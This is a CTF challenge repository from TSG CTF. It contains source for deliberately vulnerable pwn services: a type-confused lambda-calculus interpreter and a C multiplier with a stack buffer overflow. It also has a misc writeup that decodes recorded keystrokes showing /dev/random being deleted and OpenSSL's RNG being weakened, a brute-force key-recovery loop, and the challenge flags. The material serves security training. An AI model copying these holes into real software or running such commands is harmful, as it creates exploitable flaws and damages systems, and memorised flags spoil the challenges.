16 | LD_LIBRARY_PATH=./openssl-1.1.1b ./openssl-1.1.1b/apps/openssl genrsa 1024 > key.pem 17 | LD_LIBRARY_PATH=./openssl-1.1.1b ./openssl-1.1.1b/apps/openssl rsautl -encrypt -inkey key.pem -in flag.txt -out encrypted 18 | fg 1 19 | 20 | 21 | 22 | 23 | TSGCTF{openssl_genrsa_is_hardly_predictable} 24 | 25 | sudo docker build -t problem . 26 | sudo docker run -it --device=/dev/input/event1:/dev/input/event1 problem "/bin/bash" 27 | 28 | sudo docker build -t problem_openssl . 29 | sudo docker run -it --device=/dev/input/event1:/dev/input/event1 problem_openssl "/bin/bash" 30 | 31 | 32 | /tmp# cat /dev/input/event1 > input & 33 | -------------------------------------------------------------------------------- /misc/recorded/writeup/encrypted: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tsg-ut/tsgctf/0c4f802a30e487a46378cda9aefd36199b4c6b41/misc/recorded/writeup/encrypted -------------------------------------------------------------------------------- /misc/recorded/writeup/ev2k.py: -------------------------------------------------------------------------------- 1 | import data 2 | 3 | def rmemp(v): 4 | return list(filter(lambda x: x!='',v)) 5 | def f(s): 6 | s = s[len('#define '):] 7 | s = s.split('\t') 8 | s = rmemp(s) 9 | #print(s) 10 | #print(s[0],s[1]) 11 | s[0] = s[0][s[0].index('_'):] 12 | if not ('_' in s[0] and s[1].isdigit()): 13 | return ('_','Error') 14 | return (int(s[1]),s[0]) 15 | 16 | keys = dict(map(f,rmemp(data.keys.split('\n')))) 17 | 18 | def b2i(s): 19 | res = 0 20 | for c in s[::-1]: 21 | res = res * 256 + c 22 | return res 23 | 24 | ds = open('input','rb').read() 25 | ts = [] 26 | 27 | ev_size = 12 28 | 29 | nt = -1 30 | 31 | ts = "" 32 | for i in range(len(ds)//ev_size): 33 | d = ds[i*ev_size:i*ev_size+ev_size] 34 | #print(d) 35 | 36 | t = b2i(d[0:4]) 37 | if t != 0: 38 | nt = t 39 | d = d[4:] 40 | ty = b2i(d[0:2]) 41 | co = b2i(d[2:4]) 42 | va = b2i(d[4:8]) 43 | 44 | if ty == 1: 45 | if co in keys.keys(): 46 | co = keys[co] 47 | else: 48 | co = "Unknown" 49 | s = "KEY %s %d : %d" % (co,va,nt) 50 | co = co[1:] 51 | if co == 'ENTER': 52 | ts += (' time %d' % nt) 53 | co = '\n' 54 | elif co == 'SPACE': 55 | co = ' ' 56 | elif co == 'SLASH': 57 | co = '/' 58 | elif co == 'TAB': 59 | co = '/t' 60 | elif co == 'MINUS': 61 | co = '-' 62 | elif co == 'DOT': 63 | co = '.' 64 | elif co == 'APOSTROPHE': 65 | co = ':' 66 | elif co == 'LEFTSHIFT': 67 | co = '' 68 | else: 69 | co = co.lower() 70 | 71 | if va == 1: 72 | ts += co 73 | else: 74 | s = "%d %d %d : %d" % (ty,co,va,t) 75 | #print(s) 76 | continue 77 | 78 | #ts.append(s) 79 | #print(s) 80 | 81 | print(ts) 82 | exit(0) 83 | 84 | ses = {} 85 | for kv in ts: 86 | print(kv['code'],kv['value']) 87 | for k,v in kv.items(): 88 | if not k in ses.keys(): 89 | ses[k] = set([]) 90 | #print(k,v) 91 | ses[k].add(v) 92 | 93 | #print(ses) 94 | -------------------------------------------------------------------------------- /misc/recorded/writeup/memo.txt: -------------------------------------------------------------------------------- 1 | LANG=C date --utc > /dev/random 1556362182 2 | 3 | Sat Apr 27 12:37:48 UTC 2019 4 | 5 | 6 | echo "Sat Apr 27 12:37:48 UTC 2019" > /dev/random 7 | echo nyan >> /dev/random 8 | 9 | 10 | curl -O https://www.openssl.org/source/openssl-1.1.1b.tar.gz 11 | 12 | 1556362433 13 | 14 | echo "1 1556362433" > nonce.txt 15 | openssl rsautl -decrypt -inkey key.pem -in encrypted -out o.txt 16 | 17 | for i in `seq 0 32768`; do 18 | echo "$i 1556368884" > nonce.txt; 19 | LD_LIBRARY_PATH=./openssl-1.1.1b ./openssl-1.1.1b/apps/openssl genrsa 1024 > key.pem 20 | openssl rsautl -decrypt -inkey key.pem -in encrypted -out o.txt 21 | if [$? = 0]; then 22 | break 23 | fi 24 | done 25 | 26 | 27 | ./ope/tap/tope/trsautl -encrypt -inkey save_key.pem -in hoge.txt -out encrypted 28 | -------------------------------------------------------------------------------- /misc/recorded/writeup/writeup.md: -------------------------------------------------------------------------------- 1 | # Recorded Writeup 2 | 3 | ## 解法 4 | まず、input から キーボード入力を復元すると、だいたい 5 | ``` 6 | cat /dev/input/event1 > input & 7 | rm /dev/urandom 8 | rm /dev/random 9 | LANG=C date --utc > /dev/random 10 | echo nyan >> /dev/random 11 | curl -O https://www.openssl.org/source/openssl-1.1.1b.tar.gz 12 | tar xzvf openssl-1.1.1b.tar.gz 13 | cd openssl-1.1.1b/ 14 | vim crypto/random/rand_unix.c 15 | 637Gd17d621Gd2d603Gdd480Gd30d:wq 16 | vim crypto/random/rand_lib.c 17 | 250Gd2d:wq 18 | ./config 19 | make -j 4 20 | cd .. 21 | LD_LIBRARY_PATH=./openssl-1.1.1b ./openssl-1.1.1b/apps/openssl genrsa 1024 > key.pem 22 | LD_LIBRARY_PATH=./openssl-1.1.1b ./openssl-1.1.1b/apps/openssl rsautl -encrypt -inkey key.pem -in flag.txt -out encrypted 23 | fg 1 24 | ``` 25 | のようなコマンドが実行されたことがわかる。([daihon.txt](daihon.txt)) 26 | `LD_LIBRARY_PATH=./openssl-1.1.1b ./openssl-1.1.1b/apps/openssl genrsa 1024 > key.pem` で鍵を作ってそれを用いてflagを暗号化しているので、 key.pem をどうにかして再生成すればよい。 27 | ところで、鍵の生成に使ったopensslは、 `curl -O https://www.openssl.org/source/openssl-1.1.1b.tar.gz` で落としてきたopensslのソースに対して、 `crypto/random/rand_lib.c` と ` crypto/random/rand_unix.c ` に手を加えてコンパイルをしてできたものである。 28 | `crypto/random/rand_unix.c` の変更箇所近くを見ると、time()の値と pid を予測すればよいことがわかる。 29 | time()の値はinput中のキーボード入力タイミングから分かる。あとはpidを下から全探索して正しくdecryptできるpidを見つければ良い。 30 | 31 | 32 | 33 | ## Flag 34 | 35 | `TSGCTF{openssl_genrsa_is_hardly_predictable}` 36 | -------------------------------------------------------------------------------- /misc/sanity/README.md: -------------------------------------------------------------------------------- 1 | # Sanity Check 2 | 3 | ## Author 4 | 5 | @hakatashi 6 | 7 | ## Description 8 | 9 | Log in to our [Discord server for TSG CTF](https://discord.gg/xJn7v62) and find the flag here: 10 | 11 | [TSG CTF のDiscordサーバー](https://discord.gg/xJn7v62)にログインして↓の場所に書いてあるフラグを送信してください。 12 | 13 | ![](https://i.imgur.com/iFlZlIz.png) 14 | 15 | --- 16 | 17 | ※ `TSGCTF{ur_here_cuz_u_absolutely_won_inshack_ctf?}` 18 | 19 | ## Difficulty Estimate 20 | 21 | warmup 22 | -------------------------------------------------------------------------------- /pwn/STLC/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:18.04 2 | 3 | RUN apt-get update && \ 4 | apt-get -y upgrade && \ 5 | apt-get install -y \ 6 | xinetd \ 7 | iproute2 8 | 9 | RUN groupadd -r user && useradd -r -g user user 10 | 11 | COPY --chown=root:root ./build/ctf.conf /etc/xinetd.d/ctf 12 | COPY --chown=root:user ./build/flag /home/user/flag 13 | COPY --chown=root:user ./build/start.sh /home/user/start.sh 14 | COPY --chown=root:user ./problem/stlc /home/user/stlc 15 | COPY --chown=root:user ./problem/libc-2.27.so /home/user/libc-2.27.so 16 | 17 | WORKDIR /home/user 18 | 19 | RUN chmod 444 /etc/xinetd.d/ctf && \ 20 | chmod 444 flag && \ 21 | chmod 555 ./stlc && \ 22 | chmod 555 ./start.sh && \ 23 | chmod 555 ./libc-2.27.so 24 | 25 | USER user 26 | EXPOSE 30007 27 | 28 | CMD ["xinetd", "-dontfork"] 29 | -------------------------------------------------------------------------------- /pwn/STLC/README.md: -------------------------------------------------------------------------------- 1 | # STLC 2 | 3 | ## Author 4 | 5 | @satos 6 | 7 | ## Description 8 | 9 | I learned simply typed lambda calculus in a lecture, so I implement STLC interpreter. 10 | STLC terms are strongly normalizing, therefore it won't stuck in infinite loop! ([https://github.com/hamukazu/lets-get-arrested](https://github.com/hamukazu/lets-get-arrested)) 11 | 12 | The flag is located at `/home/user/flag`. 13 | 14 | `nc [host] 30007` 15 | 16 | --- 17 | 18 | 講義で単純型付きラムダ計算(STLC)を習ったので、STLCのインタプリタを実装してみました。 19 | 単純型のつくプログラムのみを実行すれば無限ループも起こらないし安全([https://github.com/hamukazu/lets-get-arrested](https://github.com/hamukazu/lets-get-arrested))ですね! 20 | 21 | フラグは `/home/user/flag` にあります。 22 | 23 | `nc [host] 30007` 24 | 25 | --- 26 | 27 | example) 28 | ``` 29 | > f = (\x:A. y) 30 | y is free variable 31 | (\x:A.y) can't be simply typed 32 | > f = (\x:A. x) 33 | f = (\x:A.x) :: (A->A) 34 | > g = (\p:A->A. p) 35 | g = (\p:(A->A).p) :: ((A->A)->(A->A)) 36 | > h = (\q:B->B. q) 37 | h = (\q:(B->B).q) :: ((B->B)->(B->B)) 38 | > v1 = g f 39 | v1 = (\x:A.x) :: (A->A) 40 | > v2 = h f 41 | type mismatched for typing (h f) 42 | with applying ((B->B)->(B->B)) to (A->A) 43 | (h f) can't be simply typed 44 | > sub2 = (\x:I. dec (dec x)) 45 | sub2 = (\x:I.(dec (dec x))) :: (I->I) 46 | > 3times = (\f:I->I. \n:I. f (f (f n))) 47 | 3times = (\f:(I->I).(\n:I.(f (f (f n))))) :: ((I->I)->(I->I)) 48 | > v3 = (3times sub2) 13 49 | v3 = 7 :: I 50 | ``` 51 | 52 | --- 53 | 54 | Difficulty estimate: Hard 55 | 56 | 57 | ## Difficulty Estimate 58 | 59 | med-hard 60 | -------------------------------------------------------------------------------- /pwn/STLC/build/ctf.conf: -------------------------------------------------------------------------------- 1 | service ctf 2 | { 3 | type = UNLISTED 4 | protocol = tcp 5 | socket_type = stream 6 | port = 30007 7 | bind = 0.0.0.0 8 | wait = no 9 | disable = no 10 | user = user 11 | server = /home/user/start.sh 12 | } 13 | 14 | -------------------------------------------------------------------------------- /pwn/STLC/build/flag: -------------------------------------------------------------------------------- 1 | TSGCTF{Type_system_wont_protect_you_if_you_incorrectly_implement_it} 2 | -------------------------------------------------------------------------------- /pwn/STLC/build/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | LD_PRELOAD=/home/user/libc-2.27.so stdbuf -i0 -o0 -e0 /home/user/stlc 4 | -------------------------------------------------------------------------------- /pwn/STLC/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '2.3' 2 | 3 | services: 4 | ctf: 5 | build: ./ 6 | restart: always 7 | ports: 8 | - "30007:30007" 9 | expose: 10 | - "30007" 11 | mem_limit: 100m 12 | read_only: true 13 | -------------------------------------------------------------------------------- /pwn/STLC/problem/libc-2.27.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tsg-ut/tsgctf/0c4f802a30e487a46378cda9aefd36199b4c6b41/pwn/STLC/problem/libc-2.27.so -------------------------------------------------------------------------------- /pwn/STLC/problem/stlc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tsg-ut/tsgctf/0c4f802a30e487a46378cda9aefd36199b4c6b41/pwn/STLC/problem/stlc -------------------------------------------------------------------------------- /pwn/STLC/writeup/Makefile: -------------------------------------------------------------------------------- 1 | all: problem.cpp parser.h lambda.h type.h 2 | g++ problem.cpp -o a.out -pie -fPIE -Wl,-z,now,-z,relro -fstack-protector-all 3 | rm ../problem/stlc-* 4 | mv a.out ../problem/stlc-`sha1sum a.out | awk '{print $$1}'` 5 | -------------------------------------------------------------------------------- /pwn/STLC/writeup/lambda.h: -------------------------------------------------------------------------------- 1 | typedef map EnvTy; 2 | 3 | struct Lambda{ 4 | virtual string str() = 0; 5 | virtual Lambda* subst(string nv,Lambda* la) = 0; 6 | virtual Lambda* copy() = 0; 7 | virtual Lambda* reduce(map env) = 0; 8 | virtual Type* get_type(EnvTy env) = 0; 9 | virtual Lambda* apply(Lambda* la,map env){ 10 | cout << "invalid application" << endl; 11 | exit(-1); 12 | } 13 | }; 14 | 15 | typedef map EnvLam; 16 | 17 | struct Var : Lambda{ 18 | string var; 19 | Var(string v){ var = v; } 20 | string str(){ 21 | return var; 22 | } 23 | Lambda* copy(){ 24 | return new Var(var); 25 | } 26 | Lambda* subst(string nv,Lambda* la){ 27 | if(nv == var)return la->copy(); 28 | else return this->copy(); 29 | } 30 | 31 | Type* get_type(EnvTy env){ 32 | if(env.find(var) == env.end()){ 33 | cout << var << " is free variable" << endl; 34 | return NULL; 35 | } 36 | return env[var]; 37 | } 38 | Lambda* reduce(EnvLam env){ 39 | if(env.find(var) == env.end())return NULL; 40 | return env[var]->copy(); 41 | } 42 | }; 43 | 44 | struct Int : Lambda{ 45 | int var; 46 | Int(int v){ var = v; } 47 | string str(){ 48 | return to_string(var); 49 | } 50 | Lambda* copy(){ 51 | return new Int(var); 52 | } 53 | Lambda* subst(string nv,Lambda* la){ 54 | return this->copy(); 55 | } 56 | 57 | Type* get_type(EnvTy env){ 58 | return new TyVar("I"); 59 | } 60 | 61 | Lambda* reduce(EnvLam env){ 62 | return NULL; 63 | } 64 | }; 65 | 66 | struct Abs : Lambda{ 67 | Lambda* body; 68 | string var; 69 | Type* ty; 70 | Abs(string v,Type* t,Lambda* bo){ var = v; ty = t; body = bo; } 71 | string str(){ 72 | return "(\\" + var + ":" + ty->str() + "." + body->str() + ")"; 73 | } 74 | Lambda* copy(){ 75 | return new Abs(var,ty,body->copy()); 76 | } 77 | Lambda* subst(string nv,Lambda* la){ 78 | if(nv == var)return this->copy(); 79 | else return new Abs(var,ty,body->subst(nv,la)); 80 | } 81 | 82 | Type* get_type(EnvTy env){ 83 | EnvTy toenv(env); 84 | toenv[var] = ty; 85 | Type* bt = body->get_type(toenv); 86 | if(bt == NULL)return NULL; 87 | return new TyArrow(ty,bt); 88 | } 89 | 90 | Lambda* apply(Lambda* la,EnvLam env){ 91 | return body->subst(var,la); 92 | } 93 | 94 | Lambda* reduce(EnvLam env){ 95 | return NULL; 96 | } 97 | }; 98 | 99 | struct App : Lambda{ 100 | Lambda *expr1,*expr2; 101 | App(Lambda *e1,Lambda *e2){ expr1 = e1; expr2 = e2; } 102 | string str(){ 103 | return "(" + expr1->str() + " " + expr2->str() + ")"; 104 | } 105 | Lambda* copy(){ 106 | return new App(expr1->copy(),expr2->copy()); 107 | } 108 | Lambda* subst(string nv,Lambda* la){ 109 | return new App(expr1->subst(nv,la),expr2->subst(nv,la)); 110 | } 111 | 112 | Type* get_type(EnvTy env){ 113 | Type* t1 = expr1->get_type(env); 114 | Type* t2 = expr2->get_type(env); 115 | if(t1==NULL || t2==NULL)return NULL; 116 | if(t1->tag == TypeTag::TyTagArrow && ((TyArrow*)t1)->ty1->same(t2)){ 117 | return ((TyArrow*)t1)->ty2; 118 | } 119 | else{ 120 | cout << "type mismatched for typing " << this->str() << endl; 121 | cout << "with applying " << t1->str() << " to " << t2->str() << endl; 122 | return NULL; 123 | } 124 | } 125 | 126 | Lambda* reduce(EnvLam env){ 127 | Lambda* te1 = expr1->reduce(env); 128 | if(te1 != NULL){ 129 | return new App(te1,expr2); 130 | } 131 | return expr1->apply(expr2,env); 132 | } 133 | }; 134 | 135 | 136 | struct Decrement : Lambda{ 137 | Decrement(){} 138 | string str(){ 139 | return "dec"; 140 | } 141 | Lambda* copy(){ 142 | return new Decrement(); 143 | } 144 | Lambda* subst(string nv,Lambda* la){ 145 | return this->copy(); 146 | } 147 | 148 | Type* get_type(EnvTy env){ 149 | return new TyArrow(new TyVar("I"),new TyVar("I")); 150 | } 151 | 152 | Lambda* apply(Lambda* la,EnvLam env){ 153 | Lambda* tla = la->reduce(env); 154 | if(tla != NULL){ 155 | return new App(this,tla); 156 | } 157 | // if la is value, decrement it. 158 | ((Int*)la)->var-=1; 159 | return la; 160 | } 161 | 162 | Lambda* reduce(EnvLam env){ 163 | return NULL; 164 | } 165 | }; 166 | 167 | 168 | 169 | -------------------------------------------------------------------------------- /pwn/STLC/writeup/parser.h: -------------------------------------------------------------------------------- 1 | 2 | 3 | vector tokenize(string s){ 4 | vector res; 5 | string rem = ""; 6 | for(auto c : s){ 7 | if(string(" \t\\=:.()->$").find(c) != string::npos){ 8 | if(c == '>' && rem == "" && res.back() == "-"){ 9 | res.pop_back(); 10 | res.push_back("->"); 11 | continue; 12 | } 13 | if(rem != "")res.push_back(rem); 14 | rem = ""; 15 | if(string(" \t").find(c) == string::npos){ 16 | res.push_back(string(1,c)); 17 | } 18 | } 19 | else{ 20 | rem += c; 21 | } 22 | } 23 | if(rem != "")res.push_back(rem); 24 | 25 | //cout << res.size() << endl; 26 | //for(auto d : res){ cout << " , " << d; } cout << endl; 27 | return res; 28 | } 29 | 30 | struct token_list{ 31 | vector tokens; 32 | unsigned int p; 33 | token_list(vector init){ tokens = init; p=0; } 34 | string front(){ 35 | if(p >= tokens.size()){ 36 | cerr << "parse error. tokens run out." << endl; 37 | exit(-1); 38 | } 39 | return tokens[p]; 40 | } 41 | string pop(){ 42 | string res = this->front(); 43 | p += 1; 44 | return res; 45 | } 46 | void expect(string s){ 47 | string ns = this->pop(); 48 | if(ns != s){ 49 | cerr << "parse error. expected \"" << s << "\" but got \"" << ns << "\"." << endl; 50 | exit(-1); 51 | } 52 | } 53 | }; 54 | 55 | Type* parse_type(token_list* tokens){ 56 | //cout << "parse_type " << tokens->front() << endl; 57 | 58 | vector ts; 59 | bool ishead = true; 60 | for(;tokens->front() != ")" && tokens->front() != ".";){ 61 | if(ishead)ishead = false; 62 | else tokens->expect("->"); 63 | if(tokens->front() == "("){ 64 | tokens->pop(); 65 | ts.push_back(parse_type(tokens)); 66 | tokens->expect(")"); 67 | } 68 | else{ 69 | ts.push_back(new TyVar(tokens->pop())); 70 | } 71 | } 72 | Type* res = ts.back(); 73 | ts.pop_back(); 74 | reverse(ts.begin(),ts.end()); 75 | for(auto d : ts){ 76 | res = new TyArrow(d,res); 77 | } 78 | return res; 79 | } 80 | 81 | Lambda* parse_rec(token_list* tokens){ 82 | //cout << "parse_rec " << tokens->front() << endl; 83 | if(tokens->front() == "\\"){ 84 | tokens->pop(); 85 | string var = tokens->pop(); 86 | tokens->expect(":"); 87 | Type* t = parse_type(tokens); 88 | tokens->expect("."); 89 | Lambda* body = parse_rec(tokens); 90 | return new Abs(var,t,body); 91 | } 92 | else{ 93 | Lambda* res = NULL; 94 | for(;tokens->front() != ")";){ 95 | Lambda* la; 96 | if(tokens->front() == "("){ 97 | tokens->pop(); 98 | la = parse_rec(tokens); 99 | tokens->expect(")"); 100 | } 101 | else{ 102 | string s = tokens->pop(); 103 | if(all_of(s.cbegin(),s.cend(),[](unsigned char c){return isdigit(c);})){ 104 | la = new Int(stoi(s)); 105 | } 106 | else{ 107 | la = new Var(s); 108 | } 109 | } 110 | if(res==NULL)res = la; 111 | else{ 112 | res = new App(res,la); 113 | } 114 | } 115 | return res; 116 | } 117 | } 118 | 119 | Lambda* parse(string ins,string& var){ 120 | vector ts = tokenize(ins); 121 | if(ts.size() <= 2 || ts[1] != "="){ 122 | return NULL; 123 | } 124 | var = ts[0]; 125 | ts.push_back(")"); 126 | token_list tokens(ts); 127 | tokens.p += 2; 128 | return parse_rec(&tokens); 129 | } 130 | 131 | -------------------------------------------------------------------------------- /pwn/STLC/writeup/problem.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | using namespace std; 12 | 13 | #include "type.h" 14 | #include "lambda.h" 15 | #include "parser.h" 16 | 17 | int main(){ 18 | alarm(60); 19 | 20 | setvbuf(stdin, NULL, _IONBF, 0); 21 | setvbuf(stdout, NULL, _IONBF, 0); 22 | 23 | EnvLam lamenv; 24 | EnvTy tyenv; 25 | 26 | lamenv["dec"] = new Decrement(); 27 | tyenv["dec"] = lamenv["dec"]->get_type(tyenv); 28 | 29 | for(string s;cout << "> ",getline(cin,s);){ 30 | string var; 31 | Lambda* la = parse(s,var); 32 | if(la == NULL){ 33 | cout << "parse failed" << endl; 34 | continue; 35 | } 36 | if(lamenv.find(var) != lamenv.end()){ 37 | cout << var << " is already defined" << endl; 38 | continue; 39 | } 40 | Type* ty = la->get_type(tyenv); 41 | if(ty == NULL){ 42 | cout << la->str() << " can't be simply typed" << endl; 43 | continue; 44 | } 45 | for(;;){ 46 | //cout << la->str() << endl; 47 | Lambda* tla = la->reduce(lamenv); 48 | if(tla==NULL)break; 49 | la = tla; 50 | } 51 | cout << var << " = " << la->str() << " :: " << ty->str() << endl; 52 | tyenv[var] = ty; 53 | lamenv[var] = la; 54 | } 55 | return 0; 56 | } 57 | -------------------------------------------------------------------------------- /pwn/STLC/writeup/type.h: -------------------------------------------------------------------------------- 1 | 2 | enum TypeTag{ 3 | TyTagVar, 4 | TyTagArrow 5 | }; 6 | 7 | struct Type{ 8 | TypeTag tag; 9 | virtual string str() = 0; 10 | virtual bool same(Type* t) = 0; 11 | }; 12 | 13 | struct TyVar : Type{ 14 | string var; 15 | TyVar(string v){ var = v; tag = TypeTag::TyTagVar; } 16 | string str(){ 17 | return var; 18 | } 19 | bool same(Type* t){ 20 | return t->tag == tag && ((TyVar*)t)->var == var; 21 | } 22 | }; 23 | 24 | struct TyArrow : Type{ 25 | Type *ty1,*ty2; 26 | TyArrow(Type* t1,Type* t2){ ty1=t1; ty2=t2; tag = TypeTag::TyTagArrow; } 27 | string str(){ 28 | return "(" + ty1->str() + "->" + ty2->str() + ")"; 29 | } 30 | bool same(Type* t){ 31 | return t->tag == tag && ((TyArrow*)t)->ty1->same(ty1) && ((TyArrow*)t)->ty2->same(ty2); 32 | } 33 | }; 34 | 35 | -------------------------------------------------------------------------------- /pwn/STLC/writeup/writeup.md: -------------------------------------------------------------------------------- 1 | 2 | # STLC Writeup 3 | 4 | [https://gist.github.com/satos---jp/e778ac2f3c58cf3f56e8f2e37fd69b84](https://gist.github.com/satos---jp/e778ac2f3c58cf3f56e8f2e37fd69b84) 5 | 6 | ## Flag 7 | 8 | `TSGCTF{Type_system_wont_protect_you_if_you_incorrectly_implement_it}` 9 | -------------------------------------------------------------------------------- /pwn/multiplier/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:18.04 2 | 3 | RUN apt-get update && \ 4 | apt-get -y upgrade && \ 5 | apt-get install -y \ 6 | xinetd \ 7 | iproute2 8 | 9 | RUN groupadd -r user && useradd -r -g user user 10 | 11 | COPY --chown=root:root ./build/ctf.conf /etc/xinetd.d/ctf 12 | COPY --chown=root:user ./build/flag /home/user/flag 13 | COPY --chown=root:user ./build/start.sh /home/user/start.sh 14 | COPY --chown=root:user ./problem/multiplier /home/user/multiplier 15 | COPY --chown=root:user ./problem/libc-2.27.so /home/user/libc-2.27.so 16 | 17 | WORKDIR /home/user 18 | 19 | RUN chmod 444 /etc/xinetd.d/ctf && \ 20 | chmod 444 flag && \ 21 | chmod 555 ./multiplier && \ 22 | chmod 555 ./start.sh && \ 23 | chmod 555 ./libc-2.27.so 24 | 25 | USER user 26 | EXPOSE 30002 27 | 28 | CMD ["xinetd", "-dontfork"] 29 | -------------------------------------------------------------------------------- /pwn/multiplier/Makefile: -------------------------------------------------------------------------------- 1 | BUILD_CONTAINER = gcc:8.3 2 | dbuild: 3 | docker run -w $(PWD) -v $(PWD):$(PWD) -it ${BUILD_CONTAINER} make build -C writeup 4 | .PHONY: dbuild 5 | -------------------------------------------------------------------------------- /pwn/multiplier/README.md: -------------------------------------------------------------------------------- 1 | # Odd Multiplier 2 | 3 | ## Author 4 | 5 | @moratorium08 6 | 7 | ## Description 8 | 9 | ``` 10 | nc [host] 30002 11 | ``` 12 | 13 | ## 配布 14 | 15 | * [multiplier](problem/multiplier) 16 | * [libc-2.27.so](problem/libc-2.27.so) 17 | 18 | ## Difficulty Estimate 19 | 20 | Easy 21 | -------------------------------------------------------------------------------- /pwn/multiplier/build/ctf.conf: -------------------------------------------------------------------------------- 1 | service ctf 2 | { 3 | type = UNLISTED 4 | protocol = tcp 5 | socket_type = stream 6 | port = 30002 7 | bind = 0.0.0.0 8 | wait = no 9 | disable = no 10 | user = user 11 | server = /home/user/start.sh 12 | } 13 | 14 | -------------------------------------------------------------------------------- /pwn/multiplier/build/flag: -------------------------------------------------------------------------------- 1 | TSGCTF{Carrying_out_calculations_of_carries_will_carry_the_flag} 2 | -------------------------------------------------------------------------------- /pwn/multiplier/build/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | LD_PRELOAD=/home/user/libc-2.27.so /home/user/multiplier 4 | -------------------------------------------------------------------------------- /pwn/multiplier/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '2.4' 2 | 3 | services: 4 | ctf: 5 | build: ./ 6 | restart: always 7 | ports: 8 | - "30002:30002" 9 | expose: 10 | - "30002" 11 | mem_limit: 100m 12 | read_only: true 13 | -------------------------------------------------------------------------------- /pwn/multiplier/problem/libc-2.27.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tsg-ut/tsgctf/0c4f802a30e487a46378cda9aefd36199b4c6b41/pwn/multiplier/problem/libc-2.27.so -------------------------------------------------------------------------------- /pwn/multiplier/problem/multiplier: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tsg-ut/tsgctf/0c4f802a30e487a46378cda9aefd36199b4c6b41/pwn/multiplier/problem/multiplier -------------------------------------------------------------------------------- /pwn/multiplier/writeup/Makefile: -------------------------------------------------------------------------------- 1 | build: multiplier.c 2 | gcc multiplier.c -o ../problem/multiplier -std=c99 -pie -fPIE -Wl,-z,now,-z,relro -fstack-protector-all 3 | -------------------------------------------------------------------------------- /pwn/multiplier/writeup/multiplier.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | typedef unsigned char u8; 6 | typedef unsigned short u16; 7 | 8 | typedef struct { 9 | u8 *buf; 10 | int len; 11 | } BigNum; 12 | 13 | static inline 14 | u8 mulhi8(u8 a, u8 b) { 15 | u16 prod = a * (u16)b; 16 | return prod >> 8; 17 | } 18 | static inline 19 | u8 addhi8(u8 a, u8 b) { 20 | u16 prod = a + (u16)b; 21 | return prod >> 8; 22 | } 23 | 24 | void multiply(BigNum *num, u8 x) { 25 | if (x == 0) { 26 | num->buf[0] = 0; 27 | num->len = 1; 28 | return; 29 | } 30 | int len = num->len; 31 | u8 carry = 0; 32 | int i = 0; 33 | for (; i < len; i++) { 34 | u8 y = num->buf[i]; 35 | u8 z = x * y; 36 | num->buf[i] = carry + z; 37 | carry = mulhi8(x, y) + addhi8(carry, z); 38 | } 39 | if (carry != 0) { 40 | num->buf[len] = carry; 41 | num->len++; 42 | } 43 | } 44 | 45 | void print(BigNum *num) { 46 | int fst = 1; 47 | for (long long i = (num->len / 8 + (num->len % 8 != 0)) - 1; i >= 0; i--) { 48 | if (fst) { 49 | printf("%llx", ((unsigned long long *)num->buf)[i]); 50 | fst = 0; 51 | } else { 52 | printf("%016llx", ((unsigned long long *)num->buf)[i]); 53 | } 54 | } 55 | printf("\n"); 56 | } 57 | 58 | void bye() 59 | { 60 | exit(-1); 61 | } 62 | 63 | int main(void) { 64 | setvbuf(stdout, NULL, _IONBF, 0); 65 | setvbuf(stdin, NULL, _IONBF, 0); 66 | alarm(30); 67 | 68 | u8 input; 69 | BigNum num; 70 | 71 | puts("I will multiply odd numbers until you enter 0"); 72 | for(;;){ 73 | puts(""); 74 | u8 buf[16] = {0}; 75 | buf[0] = 1; 76 | num.buf = buf; 77 | num.len = 1; 78 | 79 | for (;;) { 80 | unsigned x; 81 | if (scanf("%u", &x) != 1) 82 | bye(); 83 | if (x > 255) { 84 | puts("1byte positive integer is only available"); 85 | bye(); 86 | } 87 | input = x & 0xff; 88 | if (input == 0) { 89 | break; 90 | } 91 | if (input % 2 == 0) { 92 | puts("I'm able to multiply only odd numbers."); 93 | return -1; 94 | } 95 | multiply(&num, input); 96 | } 97 | print(&num); 98 | } 99 | } 100 | -------------------------------------------------------------------------------- /pwn/ssb/.gitignore: -------------------------------------------------------------------------------- 1 | writeup/build/fs 2 | -------------------------------------------------------------------------------- /pwn/ssb/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:18.04 2 | 3 | RUN apt-get update && \ 4 | apt-get -y upgrade && \ 5 | apt-get install -y \ 6 | xinetd \ 7 | iproute2 \ 8 | nodejs \ 9 | nodejs-dev \ 10 | node-gyp \ 11 | libssl1.0-dev \ 12 | npm \ 13 | python3 \ 14 | bc && \ 15 | npm install -g proof-of-work 16 | 17 | RUN groupadd -r user && useradd -r -g user user 18 | 19 | COPY --chown=root:root ./build/ctf.conf /etc/xinetd.d/ctf 20 | COPY --chown=root:user ./build/flag /home/user/flag 21 | COPY --chown=root:user ./build/start.sh /home/user/start.sh 22 | COPY --chown=root:user ./problem/ssb /home/user/ssb 23 | COPY --chown=root:user ./problem/libc-2.27.so /home/user/libc-2.27.so 24 | 25 | WORKDIR /home/user 26 | 27 | RUN chmod 444 /etc/xinetd.d/ctf && \ 28 | chmod 444 flag && \ 29 | chmod 555 ./ssb && \ 30 | chmod 555 ./start.sh && \ 31 | chmod 555 ./libc-2.27.so 32 | 33 | USER user 34 | EXPOSE 31000 35 | 36 | CMD ["xinetd", "-dontfork"] 37 | -------------------------------------------------------------------------------- /pwn/ssb/Makefile: -------------------------------------------------------------------------------- 1 | BUILD_CONTAINER = gcc:4.9 2 | dbuild: writeup/fs.c 3 | docker run -w $(PWD) -v $(PWD):$(PWD) -it ${BUILD_CONTAINER} make build -C writeup 4 | .PHONY: dbuild 5 | -------------------------------------------------------------------------------- /pwn/ssb/README.md: 